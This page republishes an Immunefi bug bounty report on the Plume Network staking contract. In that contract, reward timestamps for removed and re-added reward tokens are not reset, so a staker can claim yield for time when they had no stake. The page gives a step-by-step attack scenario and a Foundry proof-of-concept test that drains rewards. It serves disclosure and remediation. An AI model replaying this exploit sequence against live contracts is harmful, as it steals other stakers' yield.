Skip to content
Business logic Audit finding Intermediate

User can steal rewards

A staking contract only updates a user's reward-tracking timestamp for currently active reward tokens, not for tokens that were removed and later re-added. An attacker could stake after a token is re-added and claim rewards for a period when they had no stake, stealing unclaimed yield.

shadowHunter Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

49616 sc high user can steal rewards

Submitted on Jul 17th 2025 at 18:55:47 UTC by @shadowHunter for Attackathon | Plume Network

Description

Brief / Intro

It appears that on a fresh stake, $.userValidatorRewardPerTokenPaidTimestamp is only updated for active reward tokens and not for historical (previously removed) reward tokens. This creates a window where a user can receive unauthorized rewards.

{% hint style="danger" %} Impact: User can steal rewards (theft of unclaimed yield). {% endhint %}

Vulnerability Details

{% stepper %} {% step %}

Scenario step

Reward token PUSD existed and is removed at timestamp X. {% endstep %}

{% step %}

Scenario step

Post removal, User A stakes 10e18 tokens. {% endstep %}

{% step %}

Scenario step

User A immediately unstakes 10e18 tokens. User A has 0 staked tokens. {% endstep %}

{% step %}

Scenario step

Later, PUSD is added again at timestamp X+1. {% endstep %}

{% step %}

Scenario step

User B stakes while PUSD is active. {% endstep %}

{% step %}

Scenario step

At X+500 seconds User B stakes again and PUSD is removed. {% endstep %}

{% step %}

Scenario step

User A stakes a very large amount at X+500 seconds. Since PUSD is not an active token, its userValidatorRewardPerTokenPaidTimestamp remains X (the old timestamp). {% endstep %}

{% step %}

Scenario step

User A immediately claims and receives rewards for the full 500 seconds (from X to X+500) even though they shouldn't be entitled to them. {% endstep %} {% endstepper %}

Impact Details

User can steal rewards.

Recommendation

Update _initializeRewardStateForNewStake to iterate all historical reward tokens instead of just $.rewardTokens to ensure state is updated properly for all reward tokens (including ones that were previously removed).

Proof of Concept

<details> <summary>PoC test (forge) and failing assertion</summary>

Command used:

forge test --via-ir --match-path "test/PlumeStakingDiamond.t.sol" --match-test testPOC_6 --optimizer-runs 200 --no-auto-detect --optimize -vvv

Test code:

Solidity
function testPOC_6() public {
    
        uint256 time= block.timestamp;
        uint256 blok= block.number;

        // Ensure treasury has enough PUSD by transferring tokens
        uint256 treasuryAmount = 100 ether;
        vm.startPrank(admin); // admin already has tokens from constructor
        pUSD.transfer(address(treasury), treasuryAmount);
        vm.stopPrank();
        
        console2.log("PUSD Token removed at timestamp ", time);
        

        vm.startPrank(admin);
        RewardsFacet(address(diamondProxy)).removeRewardToken(address(pUSD));
        vm.stopPrank();
        
        console2.log("User 1 stakes at timestamp ", time);
        
        vm.startPrank(user1);
        // Stake
        uint256 stakeAmount = 10 ether;
        StakingFacet(address(diamondProxy)).stake{ value: stakeAmount }(DEFAULT_VALIDATOR_ID);
        
        
        uint256 balanceAfter = pUSD.balanceOf(user1);
    
        
        console2.log("User 1 unstakes at timestamp ", time);
        vm.startPrank(user1);
        StakingFacet(address(diamondProxy)).unstake(DEFAULT_VALIDATOR_ID, stakeAmount);
        vm.stopPrank();
        
        PlumeStakingStorage.StakeInfo memory userInfo = StakingFacet(address(diamondProxy)).stakeInfo(user1);
        assertEq(userInfo.staked, 0, "First staker's amount should be correctly recorded");
        
        console2.log("Round 1");
        console2.log("Initial Timestamp", block.timestamp);
        vm.roll(blok + 1);
        vm.warp(time + 1);
        console2.log("Increased Timestamp", block.timestamp);
        
        console2.log("Reward token added at timestamp ", time);
        vm.prank(admin);
        RewardsFacet(address(diamondProxy)).addRewardToken(address(pUSD), 1e16, 1e18);
        
        console2.log("User 2 stakes stakes at timestamp ", time);
        vm.startPrank(user2);
        StakingFacet(address(diamondProxy)).stake{ value: stakeAmount }(DEFAULT_VALIDATOR_ID);
        vm.stopPrank();
        
        console2.log("Round 2");
        console2.log("Initial Timestamp", block.timestamp);
        vm.roll(blok + 500);
        vm.warp(time + 500);
        console2.log("Increased Timestamp", block.timestamp);

        console2.log("User 2 stakes again at timestamp ", time);
        vm.startPrank(user2);
        StakingFacet(address(diamondProxy)).stake{ value: stakeAmount }(DEFAULT_VALIDATOR_ID);
        vm.stopPrank();
        
        console2.log("Reward token removed at timestamp ", time);
        vm.startPrank(admin);
        RewardsFacet(address(diamondProxy)).removeRewardToken(address(pUSD));
        vm.stopPrank();
        
        console2.log("User 1 stakes fresh at timestamp ", time);
        vm.startPrank(user1);
        StakingFacet(address(diamondProxy)).stake{ value: stakeAmount }(DEFAULT_VALIDATOR_ID);
        
        
        console2.log("User1 claim all at timestamp ", time);
        vm.startPrank(user1);
        RewardsFacet(address(diamondProxy)).claim(address(pUSD), DEFAULT_VALIDATOR_ID);
        uint256 balanceAfterX = pUSD.balanceOf(user1);
        console2.log("balanceAfterX", balanceAfterX-balanceAfter);
        vm.stopPrank();
        console2.log("User1 claim all done");
        assertEq(balanceAfterX-balanceAfter,0);
        
    }

Test output (failing assertion):

Encountered 1 failing test in test/PlumeStakingDiamond.t.sol:PlumeStakingDiamondTest
[FAIL: assertion failed: 47500000000000000000 != 0] testPOC_6() (gas: 1867932)
</details>

The original report as published on Immunefi, by shadowHunter. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the function that initialises reward state for a new stake iterates only over the current active reward tokens, skipping tokens that were previously removed, so their per-user timestamps are not reset.

Impact

A user could steal unclaimed yield by claiming rewards for a period when they had no stake.

What the attacker needed

Attacker can stake and unstake; reward token is removed and later re-added; attacker stakes after re-adding and before removal

The fix

The function that initialises reward state for a new stake should iterate over all historical reward tokens, not just the currently active ones.

How it was found

  1. Remove a reward token at timestamp X.
  2. User A stakes and immediately unstakes, leaving zero staked.
  3. Re-add the reward token at timestamp X+1.
  4. User B stakes while the token is active.
  5. At X+500, User B stakes again and the token is removed.
  6. User A stakes a large amount at X+500 and immediately claims, receiving rewards for the full 500 seconds.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A staking contract pays rewards over time. It tracks when each user last received rewards using a timestamp. The bug is that this timestamp is only reset for tokens that are currently active, so if a token was removed and later added back, a user's old timestamp remains. That lets them claim rewards for time they were not staking.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by shadowHunter

View all

25 more disclosed reports, best first.

More from Plume Network

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.